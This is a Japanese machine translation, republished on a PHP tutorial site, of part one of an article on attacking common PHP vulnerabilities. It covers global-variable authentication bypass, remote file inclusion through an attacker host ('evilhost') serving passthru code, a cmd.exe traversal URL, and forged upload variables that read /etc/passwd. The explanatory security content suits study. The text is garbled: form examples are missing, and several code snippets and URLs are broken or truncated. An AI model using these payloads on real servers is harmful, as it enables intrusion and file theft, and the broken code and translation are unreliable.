PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1)_PHP チュートリアル

WBOY
リリース: 2016-07-21 16:07:05
オリジナル
861 人が閲覧しました

PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1)
翻訳:analyst (アナリスト)
出典: http://www.china4lert.org

PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1)

原著: Shaun Clowes
翻訳: Analysist

この記事が翻訳されている理由は、現在、 CGI のセキュリティはすべて Perl を例として使用していますが、ASP、PHP、または JSP のセキュリティを具体的に紹介する記事はほとんどありません。 Shaun Clowes によるこの記事では、PHP のセキュリティ問題について包括的に紹介しています。元の記事は http://www.securereality.com.au/studyinscarlet.txt にあります。

原文は比較的長く、記事の背景やPHPの基礎知識の紹介がかなりの部分を占めており、PHPのセキュリティには触れていないため、翻訳はしませんでした。これについて詳しく知りたい場合は、元の記事を参照してください。

この記事では、主にグローバル変数、リモート ファイル、ファイル アップロード、ライブラリ ファイル、セッション ファイル、データ型、エラーが発生しやすい関数の側面から PHP のセキュリティを分析し、PHP のセキュリティを強化する方法についていくつかの有用な提案を提示しています。 PHP の提案。

さて、ナンセンスな話はこれくらいにして、本題に取り掛かりましょう!

[グローバル変数]
PHPの変数は事前に宣言する必要はありません。初めて使用するときに自動的に作成され、型を指定する必要はありません。コンテキストに基づいて自動的に決定されます。 。プログラマの観点から見ると、これは間違いなく非常に便利なアプローチです。明らかに、これは高速開発言語の非常に便利な機能でもあります。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、最初に作成された変数は空であるため、プログラマが変数を初期化することはほとんどありません。

明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアントのブラウザーに返します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこの入力データをグローバル変数として扱います。

例:




明らかに、これによりテキスト ボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキスト ボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が自分の希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに http://server/test.php?hello=hi&setup=no を直接入力すると、「$hello」だけでなく、 「$setup」も作成されます。

翻訳者注: これら 2 つのメソッドは、通常「POST」メソッドと「GET」メソッドと呼ばれるものです。
次のユーザー認証コードは、PHP のグローバル変数によって引き起こされるセキュリティ問題を明らかにします:

if ($pass == "hello")
$auth = 1
...
if ($auth == 1; )
echo "some important information";
?>

上記のコードは、最初にユーザーのパスワードが "hello" であるかどうかを確認し、一致する場合は、"$auth" を "1" に設定します。 。その後、「$suth」が「1」の場合、いくつかの重要な情報が表示されます。

これは表面的には正しいように見えますし、かなりの人がそうしていますが、このコードは、値が設定されていないときに「$auth」が空であると想定するという間違いを犯しており、攻撃者は何も考えずに任意のグローバルを作成できます。 「http://server/test.php?auth=1」のようなメソッドを使用すると、このコードを完全に騙して認証済みであると信じ込ませることができます。

したがって、PHP プログラムのセキュリティを向上させるために、明確に定義されていない変数は信頼できません。プログラム内に多くの変数がある場合、これは非常に困難な作業になる可能性があります。

一般的な保護方法は、送信方法 (GET または POST) に応じて、配列 HTTP_GET[] または POST_VARS[] 内の変数をチェックすることです。 PHP が「track_vars」オプション (デフォルト) をオンにするように構成されている場合、ユーザーが送信した変数はグローバル変数と上記の配列で使用できます。

しかし、PHP にはユーザー入力を処理するための 4 つの異なる配列変数があることは言及する価値があります。 HTTP_GET_VARS 配列は GET モードで送信された変数の処理に使用され、HTTP_POST_VARS 配列は POST モードで送信された変数の処理に使用され、HTTP_COOKIE_VARS 配列は Cookie ヘッダーとして送信された変数の処理に使用され、HTTP_POST_FILES 配列 (比較的新しい PHP によって提供される) に使用されます。 )、これはユーザーが変数を送信するための完全にオプションの方法です。ユーザーリクエストは変数をこれら 4 つの配列に簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります。

[リモートファイル]
PHPは機能が豊富な言語であり、多数の関数が提供されているため、プログラマーは特定の機能を簡単に実装できます。しかし、セキュリティの観点から見ると、機能が増えれば増えるほど、そのセキュリティを確保することが難しくなります。リモート ファイルはこの問題の良い例です。

if (!($fd = fopen ("$filename ", "r"))
echo("ファイルを開けませんでした: $filename
n");
?>

上記のスクリプトは、ファイル "$filename" を開こうと試み、失敗すると表示されます。エラー明らかに、「$filename」を指定できれば、このスクリプトを使用してシステム上の任意のファイルを参照できます。ただし、このスクリプトには、他の Web や Web サイトからアクセスできるという、あまり目立たない機能があります。実際、PHP のファイル処理関数のほとんどは、リモート ファイルに対して透過的です。例: "$filename" が "http://target/scripts/..%c1" と指定されている場合。 1c../winnt/system32/cmd.exe?/c+dir”
上記のコードは、実際にホスト ターゲットの Unicode 脆弱性を悪用して dir コマンドを実行します

これにより、リモート ファイル、require() の include() サポートが有効になります。 )、include_once() および require_once() は、コンテキストでより興味深いものになります。これらの関数の主な機能は、指定されたファイルの内容をインクルードし、主にライブラリ ファイルで使用される PHP コードに従って解釈することです。 ?php
include($libdir . "/messages.php");
?>

上記の例では、通常、「$libdir」は、攻撃者が「$」を実行する前に設定されているパスです。 libdir" が設定されていない場合、このパスを変更できますが、攻撃者は指定したパス (「Perl の Poison null」) にあるファイル language.php にしかアクセスできないため、何もできません。byte" 攻撃は効果がありません。しかし、リモート ファイルのサポートにより、攻撃者はあらゆることを行うことができます。たとえば、攻撃者は次の内容を含むファイル language.php を配置できます。

passthru("/ bin/ls /etc");
?>

次に、「$libdir」を「http:///」に設定します。上記の攻撃コードはクライアント上で実行され、その内容は結果として、「/etc」ディレクトリがクライアントのブラウザに返されます。

攻撃サーバー (つまり、evilhost) は PHP コードを実行できないことに注意してください。そうでない場合、特定の技術的な内容を知りたい場合、攻撃コードはターゲット サーバーではなく攻撃サーバーで実行されます。詳細については、http://www.securereality.com.au/sradv00006.txt を参照してください。

[ファイル アップロード]
PHP は、RFC 1867 に基づいてファイル アップロードを自動的にサポートします。次の例を見てみましょう:





上記のコードにより、ユーザーはローカル マシンからファイルを選択できます。送信をクリックすると、ファイルがサーバーにアップロードされます。これは明らかに便利な機能ですが、PHP の応答方法により安全ではありません。 PHP がそのようなリクエストを初めて受信すると、呼び出された PHP コードの解析を開始する前でも、まずリモート ユーザーからファイルを受け入れ、ファイルの長さが「$MAX_FILE_SIZE 変数」で定義された値を超えているかどうかを確認します。テスト用に、ファイルはローカルの一時ディレクトリに保存されます。

したがって、PHP プログラムがファイルのアップロードを受け入れるかどうかを決定する前に、攻撃者は PHP を実行しているホストに任意のファイルを送信することができます。

ここでは、ファイルのアップロードを使用してサーバー上で DOS 攻撃を実行する可能性については説明しません。

ファイルのアップロードを処理する PHP プログラムを考えてみましょう。ファイルは受信され、サーバーに保存されます (場所は構成ファイルで指定されており、通常は /tmp)。拡張子は通常、次のようなランダムです。 「phpxXuoXG」という形式。 PHP プログラムは、ファイルを処理するためにファイルの情報をアップロードする必要があります。これには 2 つの方法があります。1 つは PHP 3 ですでに使用されており、もう 1 つは以前の方法に関するセキュリティ アドバイザリを作成した後に導入されました。

しかし、問題は依然として存在しており、ほとんどの PHP プログラムはアップロードされたファイルを処理するために依然として古い方法を使用していると断言できます。PHP は、上記の例のように、アップロードされたファイルを記述するために 4 つのグローバル変数を設定します:

$hello = ローカル マシン上のファイル名 (例: "/tmp/phpxXuoXG")
$hello_size = ファイルのバイト単位のサイズ (例: 1024)
$hello_name = リモート システム上のファイルの元の名前 (例: "c:\temp\hello.txt")
$hello_type = アップロードされたファイルの MIME タイプ (例: "text/plain")

その後、PHP プログラムが処理を開始します。 "$hello" で指定されたファイルにコピーする場合、問題は、"$hello" が必ずしも PHP によって設定された変数である必要はなく、リモート ユーザーなら誰でも指定できることです。次のメソッドを使用すると:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

結果は次の PHP グローバル変数になります (もちろん POSTメソッドも Yes (cookie も)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上記のフォームデータはPHP プログラムが予期する十分な変数が含まれていますが、現時点では、PHP プログラムはアップロードされたファイルを処理せず、代わりに「/etc/passwd」を処理します (通常はコンテンツが公開されます)。この攻撃を使用すると、機密ファイルの内容が暴露される可能性があります。

新しいバージョンの PHP は HTTP_POST_FILES[] を使用してアップロードされたファイルを判断し、この問題を解決するための多くの関数も提供していると前に述べました。たとえば、ファイルが実際にアップロードされたかどうかを判断する関数があります。これらの関数はこの問題をうまく解決しますが、実際には、依然として古い方法を使用しており、この攻撃に対して脆弱な PHP プログラムが数多くあるはずです。

ファイル アップロード攻撃手法のバリエーションとして、次のコードを見てみましょう:

if (file_exists($theme)) // ファイルがローカル システムに存在するかどうかを確認します (いいえリモート ファイル)
include("$theme");
?>

攻撃者が "$theme" を制御できる場合、"$theme" を使用してリモート システム上の任意のファイルを読み取ることができることは明らかです。攻撃者の最終的な目標は、リモート サーバー上で任意の命令を実行することですが、リモート ファイルを使用できないため、リモート サーバー上に PHP ファイルを作成する必要があります。これは最初は不可能に思えるかもしれませんが、攻撃者が最初にローカル マシン上に PHP コードを含むファイルを作成し、次に "theme" という名前のファイル フィールドを含むフォームを作成し、最後にこのフォームを使用すると、これが行われます。作成した PHP コードを含むファイルをファイルアップロードを通じて上記のコードに送信すると、PHP は攻撃者が送信したファイルを保存し、file_exists() 関数を攻撃者が送信したファイルに設定します。チェックに合格し、攻撃者のコードが実行されます。

任意の命令を実行する能力を獲得した後、攻撃者は明らかに特権を昇格させたり、結果を拡大したりすることを望んでいます。そのためにはサーバー上で利用できないいくつかのツールセットが必要ですが、ファイルのアップロードが再び役に立ちました。攻撃者は、ファイル アップロード機能を使用してツールをアップロードし、サーバーに保存してからコマンドを実行し、chmod() を使用してファイルのアクセス許可を変更し、それを実行する可能性があります。たとえば、攻撃者はファイアウォールまたは IDS をバイパスして、ローカルの root 攻撃プログラムをアップロードして実行し、root 権限を取得する可能性があります。

<続く>

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/315244.html技術記事 PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1) 翻訳:analyst (アナリスト) 出典: http://www.china4lert.org PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1)...
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート